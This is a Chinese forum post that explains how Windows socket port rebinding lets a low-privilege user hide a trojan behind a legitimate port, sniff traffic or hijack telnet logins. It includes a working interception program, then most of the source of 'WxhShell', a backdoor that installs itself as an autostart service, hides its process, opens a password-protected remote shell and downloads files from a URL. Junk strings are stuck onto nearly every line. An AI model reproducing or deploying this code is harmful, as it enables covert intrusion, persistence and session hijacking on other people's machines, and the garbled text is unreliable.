社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9933阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?}RSwl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hvuIxqv!y  
%9M~f*  
  saddr.sin_family = AF_INET; 0LfU=X0#7  
6C-/`>m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m"fNK$_d  
E !a|Xp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g|<]B$yN#  
-x'z XvWZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 839IRM@'5  
'C:>UlzLy  
  这意味着什么?意味着可以进行如下的攻击: %ix)8+Eb  
DVK)2La  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E 2"q3_,,  
fVt9X*xK S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t7m>A-I  
8}FzZ?DRy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bnb#{tL  
HVP"A3}KC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BvR-K\rx  
91q8k=p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /qx0TDB  
-Y*bSP)\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zD(`B+  
#DN0T' B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9uer(}WKT  
0\:(ageY?  
  #include H'LD}\K l  
  #include j8fpj{hp  
  #include 0MkSf*  
  #include    ??i,Vr@)w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q<KvBgmT  
  int main() zj/!In  
  { ~5 *5  
  WORD wVersionRequested; g q}I[N  
  DWORD ret; 2A\,-*pc  
  WSADATA wsaData; #SX8=f`K5  
  BOOL val; .h& .K  
  SOCKADDR_IN saddr; 1XnZy5fEo  
  SOCKADDR_IN scaddr; baP^<w^  
  int err; +Wx{:  
  SOCKET s; w^#L9i'v'  
  SOCKET sc; fuA&7gNC  
  int caddsize; "7v@Rye  
  HANDLE mt; 2con[!U  
  DWORD tid;   E6,4RuCK  
  wVersionRequested = MAKEWORD( 2, 2 ); Z0*ljT5|  
  err = WSAStartup( wVersionRequested, &wsaData ); <6fv1d+v  
  if ( err != 0 ) { GD:4"$)[o  
  printf("error!WSAStartup failed!\n"); >9f%@uSM$3  
  return -1; 3Ezy %7  
  } jWY$5Vq<H  
  saddr.sin_family = AF_INET; ?APe R,"V  
   !O#dV1wAa  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {fEwA8Ir  
lr{?"tl_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #Ap;_XcKw  
  saddr.sin_port = htons(23); 5i-Rglo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qpsv i.S  
  { L9@&2?k  
  printf("error!socket failed!\n"); PIWux {  
  return -1; 9!Ar`Io2@  
  } \MmI`$  
  val = TRUE; GG0R}',0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q\WC+,_%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UH"#2< |b  
  { -CR?<A4mud  
  printf("error!setsockopt failed!\n"); /MF! GM  
  return -1; ?qX)ihe%k  
  } 9&2Vm;F_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n f.wCtf].  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4<?8M vF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;i"*Ll>Q)  
X5khCL Hi  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }#qGqY*@LK  
  { V%_4%  
  ret=GetLastError(); VL/|tL>E^  
  printf("error!bind failed!\n"); mCWhUBghR  
  return -1; \o Eo~  
  } "F}'~HWZp  
  listen(s,2); 581e+iC~<H  
  while(1) js8{]04y  
  { Ik[s  
  caddsize = sizeof(scaddr); _9?I A  
  //接受连接请求 qBQ`~4s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XgxX.`H7  
  if(sc!=INVALID_SOCKET) d~?X/sJ t  
  { (s1k$@d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +E;2d-x*p  
  if(mt==NULL) sU"}-de  
  { h@@nR(<i  
  printf("Thread Creat Failed!\n"); eXkujjSw"  
  break; Sje wuIi1  
  } JIFU;*PR1  
  } |hO~X~P  
  CloseHandle(mt); c(/VYMJZ&  
  } u1~9{"P*  
  closesocket(s); %\kOLE2`  
  WSACleanup(); q\q=PB6r  
  return 0; ErT{(t7  
  }   7-~Q5Kr.  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7]BW[~77  
  { `-\/$M9s=  
  SOCKET ss = (SOCKET)lpParam; %&Fk4Z}M  
  SOCKET sc; Lj"A4i_  
  unsigned char buf[4096]; TP}h~8 /;  
  SOCKADDR_IN saddr; R.s^o]vT  
  long num; Ic{F*nnM  
  DWORD val; xEltwuDd?  
  DWORD ret; 2o9$4{}rG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S8l1"/?aHE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4:sjH.u<  
  saddr.sin_family = AF_INET; HeK h>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6SC,;p=  
  saddr.sin_port = htons(23); .p ls!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cNKUu~C+  
  { W>=o*{(YO  
  printf("error!socket failed!\n"); M@(^AK{mU  
  return -1; 4_D@ST%  
  } =rd|0K"(r  
  val = 100; bC^(U`y32  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'i8 U  
  { `T2$4>!  
  ret = GetLastError(); #$1og=  
  return -1; kip`Myw+  
  } {i*2R^5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KZbR3mi,  
  { ZO7&vF}  
  ret = GetLastError(); ur\qOX|{  
  return -1; 68iV/ 7  
  } "0EA;S8$8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9ktEm|F3  
  { ]{ d[  
  printf("error!socket connect failed!\n"); m,R Dr  
  closesocket(sc); 7Mx6  
  closesocket(ss); R|P_GN6 >  
  return -1; cDrebU  
  } npDIX  
  while(1) *<'M!iRC  
  { 2`a q**}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fIocq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pz_NDI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f&x0@Q/eON  
  num = recv(ss,buf,4096,0); 7 yt=]1  
  if(num>0) i1oKrRv  
  send(sc,buf,num,0); MDRe(rF=  
  else if(num==0) + zkm(  
  break; #Y93y\  
  num = recv(sc,buf,4096,0); CodSJ,  
  if(num>0) R 4wr  
  send(ss,buf,num,0); '(#g1H3  
  else if(num==0) DXQi-+?  
  break; }E}8_ 8T6  
  } 33~qgK1>  
  closesocket(ss); tJ=di5&  
  closesocket(sc); =/+#PVO  
  return 0 ; &s)0z)mR8&  
  } O4No0xeWo  
~~8rI[/  
m= b~i^@  
========================================================== ]]cYLaq(  
cgj.e  
下边附上一个代码,,WXhSHELL ^+R:MBK  
 uu%?K@Qq  
========================================================== }~o ikN:  
xq!IbVV/h  
#include "stdafx.h" HXJ9xkrr  
D22Lu ;E  
#include <stdio.h> )9P&=  
#include <string.h> s6=YV0w(  
#include <windows.h> E/za @W  
#include <winsock2.h> T+RZ  
#include <winsvc.h> ?z"KnR+?Q  
#include <urlmon.h> 5@XV6  
GJ}.\EaAJ  
#pragma comment (lib, "Ws2_32.lib") hteOh#0{   
#pragma comment (lib, "urlmon.lib") jxy1  
<]8^J}8T{D  
#define MAX_USER   100 // 最大客户端连接数 =p&sl;PsLw  
#define BUF_SOCK   200 // sock buffer [xpQH?  
#define KEY_BUFF   255 // 输入 buffer Qa$NBNxKl  
'1]7zWbW  
#define REBOOT     0   // 重启 D&*LBQ/K  
#define SHUTDOWN   1   // 关机 D{AFL.r{  
'@:[axu  
#define DEF_PORT   5000 // 监听端口 {rPk3  
d.pp3D 9/  
#define REG_LEN     16   // 注册表键长度 Q @2(aR  
#define SVC_LEN     80   // NT服务名长度 JfTfAq]  
3#Y3Dz`  
// 从dll定义API Q-R}qy5y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V_;9TC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `)[dVfxA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); abZdGnc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (5;D7zdA  
w3#`1T`N  
// wxhshell配置信息 V:\]cGA{  
struct WSCFG { 8Inx/>eOI  
  int ws_port;         // 监听端口 WOO%YU =  
  char ws_passstr[REG_LEN]; // 口令 +8UdvMN  
  int ws_autoins;       // 安装标记, 1=yes 0=no pN$;!  
  char ws_regname[REG_LEN]; // 注册表键名 \ $;~74}  
  char ws_svcname[REG_LEN]; // 服务名 <F=Dj*]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p`GWhI?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xeB4r/6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZPF7m{S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ky&KF0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uu>lDvR*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (/fT]6(  
 E&%jeR  
}; \Hs|$   
~JE|f 7  
// default Wxhshell configuration 79z)C35~  
struct WSCFG wscfg={DEF_PORT, b5Q8pWZg,  
    "xuhuanlingzhe", uMDtdC8  
    1, GEtbs+[  
    "Wxhshell", pAg$oe#  
    "Wxhshell", d~<QAh#rG  
            "WxhShell Service", wsfysat$  
    "Wrsky Windows CmdShell Service", /Ri,>}n  
    "Please Input Your Password: ", ] SK[C" S  
  1, 6F`\YSn+  
  "http://www.wrsky.com/wxhshell.exe", %FlA ":W  
  "Wxhshell.exe" 4zzlazU  
    }; lf8xL9v  
WW3  B  
// 消息定义模块 J"bD\%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;\s~%~ \  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _:5=|2-E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6To:T[ z#  
char *msg_ws_ext="\n\rExit."; `Z8^+AMc  
char *msg_ws_end="\n\rQuit."; 0IFlEe[>#  
char *msg_ws_boot="\n\rReboot..."; sJ7sjrEp 1  
char *msg_ws_poff="\n\rShutdown..."; </yo9.  
char *msg_ws_down="\n\rSave to "; lzoeST  
VV\Xb31J  
char *msg_ws_err="\n\rErr!"; Bj&_IDs4  
char *msg_ws_ok="\n\rOK!"; ru(J5+H  
SKJW%(|3  
char ExeFile[MAX_PATH]; *')Q {8`  
int nUser = 0; o4'Wr  
HANDLE handles[MAX_USER]; (+x]##Q  
int OsIsNt; \=8=wQv  
,|iy1yg(  
SERVICE_STATUS       serviceStatus; jnDQ{D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q\U4n[Zk  
}Eb]9c\  
// 函数声明 +',^((o  
int Install(void); `x4E;Wjv  
int Uninstall(void); lO_c/o$  
int DownloadFile(char *sURL, SOCKET wsh); :Q=z=`*2w  
int Boot(int flag); UnjNR[=  
void HideProc(void);  6s5b$x  
int GetOsVer(void); ,$BgR2^  
int Wxhshell(SOCKET wsl); tO4):i1  
void TalkWithClient(void *cs); T\cR2ZT~  
int CmdShell(SOCKET sock); =Pj@g/25u  
int StartFromService(void); s@ z{dmL  
int StartWxhshell(LPSTR lpCmdLine); Ym:{Mm=ud  
 s<d!+<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KJ pj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N GSS:  
55,=[  
// 数据结构和表定义 94+/wzWvi  
SERVICE_TABLE_ENTRY DispatchTable[] = s~)L_ p  
{ E+Im~=m$  
{wscfg.ws_svcname, NTServiceMain}, 5=m3J !?  
{NULL, NULL} E\_W  
}; t5n2eOy~T  
b^%?S8]h  
// 自我安装 T|!D>l'  
int Install(void) ^ePsIl1E  
{ M`bL5J;  
  char svExeFile[MAX_PATH]; %Dra7B%  
  HKEY key; 1GUqT 9)  
  strcpy(svExeFile,ExeFile); ;fj9 n-  
2H3(HZv  
// 如果是win9x系统,修改注册表设为自启动 >"O1`xdG  
if(!OsIsNt) { ||`qIElAW,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l3BD <PB2S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |@+8]dy:l  
  RegCloseKey(key); 0FTRm2(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^J0zXe -d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l`G(O$ct  
  RegCloseKey(key); =p5?+3" @  
  return 0; erXy>H[;  
    } Esb ?U|F4  
  } y%2%^wF  
} D7M0NEY  
else { ^t`f1rGR  
%8a=mQl1^  
// 如果是NT以上系统,安装为系统服务 j=FMYd8$y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  YN4"O>  
if (schSCManager!=0) \m%J`{Mt  
{ g%X&f_@  
  SC_HANDLE schService = CreateService O1|B3M[P  
  ( G&.d)NfE  
  schSCManager, K/Sq2:  
  wscfg.ws_svcname, .|U4N/XN%q  
  wscfg.ws_svcdisp, xcw%RUC-  
  SERVICE_ALL_ACCESS, 9^(HXH_f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IvFR <n  
  SERVICE_AUTO_START, //~POm  
  SERVICE_ERROR_NORMAL, 9jqO/_7R+  
  svExeFile, (LRNU)vD7$  
  NULL, BSOjyy1f  
  NULL, fVG$8tB  
  NULL, y#&$ f  
  NULL,  xQX<w\s  
  NULL +O&RBEa[  
  ); l_bL,-|E8  
  if (schService!=0) i^/ eN  
  { L7s>su|c(  
  CloseServiceHandle(schService); tF<^9stM  
  CloseServiceHandle(schSCManager); #"hJpyW 4V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7[4_+Q:}  
  strcat(svExeFile,wscfg.ws_svcname); LjSLg[i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )\0Ug7]?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^WmGo]<B_  
  RegCloseKey(key); @k_Jl>X  
  return 0;  V+peO  
    } Xg,0/P~  
  } U?JiVxE^  
  CloseServiceHandle(schSCManager); s Ke,  
} $Z,i|K;  
} 3fm;r5  
x(rd$oZO  
return 1; aB=vu=hF  
} iJ,M-GHK  
YR?3 61FK  
// 自我卸载 <9ePi9D(  
int Uninstall(void) h U 9\y  
{ N 9c8c  
  HKEY key; Q^*G`&w,  
*^X#Eb  
if(!OsIsNt) { d&NCFx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P4hZB_.=  
  RegDeleteValue(key,wscfg.ws_regname); fL(':W&n-  
  RegCloseKey(key); Tld1P69(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P{"  WlJ  
  RegDeleteValue(key,wscfg.ws_regname); 0[V&8\S~'T  
  RegCloseKey(key); &7$,<9.  
  return 0; D/gd  
  } g&{gD^9)4  
} )?F $-~7  
} NQDLI 1o  
else { J"/ JRn  
5dg-d\ 6S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UN-T ^  
if (schSCManager!=0) \R6;Fef  
{ =Dh$yC-Zr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oP+kAV#]  
  if (schService!=0) 44'=;/  
  { n33JTqX  
  if(DeleteService(schService)!=0) { 1y},9ym  
  CloseServiceHandle(schService); [B}1z  
  CloseServiceHandle(schSCManager); 7k'=Fm6za  
  return 0; >Y,/dyT Zm  
  } hO^&0?  
  CloseServiceHandle(schService); hZp=BM"bJ  
  } 8]sTX9  
  CloseServiceHandle(schSCManager); 'q{PtYr  
} >(IITt  
} }%-UL{3%  
]cx"  
return 1; /d{glOk  
} QN)/,=#  
fKPiRlLS  
// 从指定url下载文件 JVD@I{  
int DownloadFile(char *sURL, SOCKET wsh) q,<n,0)K  
{ kb/|;!  
  HRESULT hr; pi^^L@@ d  
char seps[]= "/"; [ED!J~lg8  
char *token; WpXODkQL  
char *file; 66I|0_  
char myURL[MAX_PATH]; >&$$(Bp  
char myFILE[MAX_PATH]; mgJShn8]  
*Gg1h@&  
strcpy(myURL,sURL); di-O*ug  
  token=strtok(myURL,seps); b}ySZlmy  
  while(token!=NULL) 9X 5*{f Y  
  { >{O[t2&  
    file=token; l@,);w=_P  
  token=strtok(NULL,seps); B]A 5n8<  
  } Z_iAn TT  
Iq4Kgc  
GetCurrentDirectory(MAX_PATH,myFILE); F3k C"H  
strcat(myFILE, "\\"); S% JNxT7'  
strcat(myFILE, file); &,W_#l{  
  send(wsh,myFILE,strlen(myFILE),0); D}zOuB,S  
send(wsh,"...",3,0); r!{w93rPX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SRA|7g}7W  
  if(hr==S_OK) 1Pud,!\%q  
return 0; pieU|?fQ  
else %00k1 *$  
return 1; Jo6~r-  
]I{qp~^#n  
} n.2E8m/  
vDu0  
// 系统电源模块 tb-OKZq  
int Boot(int flag) uB5h9&57  
{ a<OCO0irJ  
  HANDLE hToken; ](B& l{V  
  TOKEN_PRIVILEGES tkp; uznoyj6g  
.jU|gf:x  
  if(OsIsNt) { v YRt2({}Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +zFV~]b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); , aRJ!AZ  
    tkp.PrivilegeCount = 1; kWZ/ej  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jOoIF/So  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "| .  +L  
if(flag==REBOOT) { 8\qCj.>S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &[?u1qQ%o  
  return 0; $$2S*qY  
}  At`1)  
else { % j[O&[s}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z$OF|ZZQ  
  return 0; E3CiZ4=5  
} "TBQNWZ  
  } iF#}t(CrH  
  else { &rl]$Mtt  
if(flag==REBOOT) { ;kyL>mV{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }S~ysQwT  
  return 0; 9#Aipu\  
} l5\B2 +}7  
else { :$SRG^7md  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /%J&/2Wz  
  return 0; G+#| )V  
} F:*[  
} LyJTK1]#  
a@5xz)  
return 1; AiyvHt  
} f>\bUmk(  
Z]7;u>2  
// win9x进程隐藏模块 48 c D3w  
void HideProc(void) :/yr(V{  
{ [6,]9|~  
J'G`=m"-'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .R$+#_  
  if ( hKernel != NULL ) s0XRL1kWr  
  { .T#y N\S1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #q~3c;ec  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ? RR Srr1  
    FreeLibrary(hKernel); e6{[o@aM{  
  } \J,- <wF  
xY\*L:TwW  
return; h9Tf@]W   
} w+).pcG( *  
NgE&KPj\  
// 获取操作系统版本 F(KH-  
int GetOsVer(void) SCfkv|hO  
{ }Ke}rM<  
  OSVERSIONINFO winfo; S1H47<)UF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zulf%aaL  
  GetVersionEx(&winfo); a O"nD_7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h 0QYoDvbC  
  return 1; 7U{b+=,wK  
  else i">z8?qF  
  return 0; G!e}j @@  
} u'$yYzBE  
m]-v IUpb  
// 客户端句柄模块 }QWTPRn  
int Wxhshell(SOCKET wsl) RKo P6LGw  
{ :{wsd$Qlj  
  SOCKET wsh; 0XQ".:+h  
  struct sockaddr_in client; I9*BENkR  
  DWORD myID; zgq_0w~X  
MUCJ/GF*  
  while(nUser<MAX_USER) v' 9(et  
{ c5=v`hv  
  int nSize=sizeof(client); !ulLGmUn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5|6z1{g8  
  if(wsh==INVALID_SOCKET) return 1; ."!8B9 s  
VJ6>3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YL9t3 ]  
if(handles[nUser]==0) Lilk8|?#W  
  closesocket(wsh); 282+1X  
else +QXYU8bYZ  
  nUser++; os(Jr!p_=  
  } w}U5dM`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (AM,4)lW,  
.kB3jfw0,  
  return 0; _} X`t8Lh  
} vHI"C %  
Top#u  
// 关闭 socket 9s\i(/RxW  
void CloseIt(SOCKET wsh) XC$+ `?  
{ Y&05 *b"  
closesocket(wsh); ](9{}DHV  
nUser--; G7/?hky 0.  
ExitThread(0); qh)!|B  
} i"sYf9,  
N}l]Ilm$34  
// 客户端请求句柄 3Q*RR"3  
void TalkWithClient(void *cs) OO !S w  
{ S\v&{  
St3(1mApl  
  SOCKET wsh=(SOCKET)cs; W kDn  
  char pwd[SVC_LEN]; j6R{  
  char cmd[KEY_BUFF]; 0IPhVG~#  
char chr[1]; >+; b>  
int i,j; 4M0v1`k  
ZB^4(F')H  
  while (nUser < MAX_USER) { :E >n)_^  
>Rki[SNb-b  
if(wscfg.ws_passstr) { ,$6MM6W;-F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JIY ^N9_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hyvV%z Z  
  //ZeroMemory(pwd,KEY_BUFF); ,I2re G  
      i=0; jC/JiI  
  while(i<SVC_LEN) { (;2J(GZ:$U  
{ck  
  // 设置超时 :LIKp;  
  fd_set FdRead; l6`d48U  
  struct timeval TimeOut; 2;?wN`}5g=  
  FD_ZERO(&FdRead); 1&@wb'MBs.  
  FD_SET(wsh,&FdRead); "mP*}VF  
  TimeOut.tv_sec=8; p=`x  
  TimeOut.tv_usec=0; hml\^I8Q>F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i3kI2\bd/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~gi( 1<#  
L$TKO,T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p\]LEP\z,  
  pwd=chr[0]; DO-K  
  if(chr[0]==0xd || chr[0]==0xa) { R 6yvpH  
  pwd=0; H`6Jq?\  
  break; S9"y@F <  
  } ANpY qV  
  i++; WlQ&Yau  
    } ^$Eiz.  
=iK6/ y`  
  // 如果是非法用户,关闭 socket GaK_9Eg-2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E]eqvTNH  
} %*Z2Gef?H  
}PIGj}F/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;DgX"Uzm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9CU6o:'fW  
)V$!  
while(1) { }rMpp[  
dI0>m:RBz  
  ZeroMemory(cmd,KEY_BUFF); hA,rSq  
XF f+efh  
      // 自动支持客户端 telnet标准   iJaNP%N  
  j=0; lRATrp#T  
  while(j<KEY_BUFF) { ^SSOh#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CTbhwY(/  
  cmd[j]=chr[0]; Tk#&Ux{ZJ  
  if(chr[0]==0xa || chr[0]==0xd) { agxSb^ 8tF  
  cmd[j]=0; L^al1T  
  break; H'h4@S  
  } =3v 1]7 X  
  j++; UVBw;V  
    } >/HU'  
/glnJ3   
  // 下载文件 U`nS` p  
  if(strstr(cmd,"http://")) { |3T|F3uEX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <# x%A0  
  if(DownloadFile(cmd,wsh)) uuK]<h*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d>"$^${  
  else X @jYQ.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K^qUlyv  
  } Oi%~8J>  
  else { @~U6=(+  
]Y: W[p  
    switch(cmd[0]) { % K7EF_%  
  v/ 00L R  
  // 帮助 >RqT7n8h  
  case '?': { y:[VRLo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I^\bS  
    break; bb :|1D  
  } `J ,~hK  
  // 安装 ttq< )4  
  case 'i': { 10I`AjF0  
    if(Install()) cLko  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D%Jc?6/I#3  
    else Pc; 14M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' /<b[  
    break; 4k2c mM$  
    } yb.|7U?/x  
  // 卸载 <QW1fE  
  case 'r': { "O1*uwm  
    if(Uninstall()) 6p]R)K>wS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 79B`w #  
    else H6CGc0NS+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8qYGlew,  
    break; %b%<g%@i  
    } i~s9Ot  
  // 显示 wxhshell 所在路径 Hkz~9p  
  case 'p': { $HCAC 4  
    char svExeFile[MAX_PATH]; BaTOh'52  
    strcpy(svExeFile,"\n\r"); ^]!1'xg  
      strcat(svExeFile,ExeFile); ,lS-;.  
        send(wsh,svExeFile,strlen(svExeFile),0); y~ 4nF  
    break; 7(USp#"  
    } d8 Nh0!  
  // 重启 O+Lb***b"  
  case 'b': { I;.E}k   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )qP{X,Uf  
    if(Boot(REBOOT)) :!YJ3:\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I)%jPH:ua  
    else { eh7r'DmAR  
    closesocket(wsh); Jq<`j<'9  
    ExitThread(0); u.4vp]eU  
    } X%1.mTU~K  
    break; FITaL@{c  
    } )Gp\_(9fc  
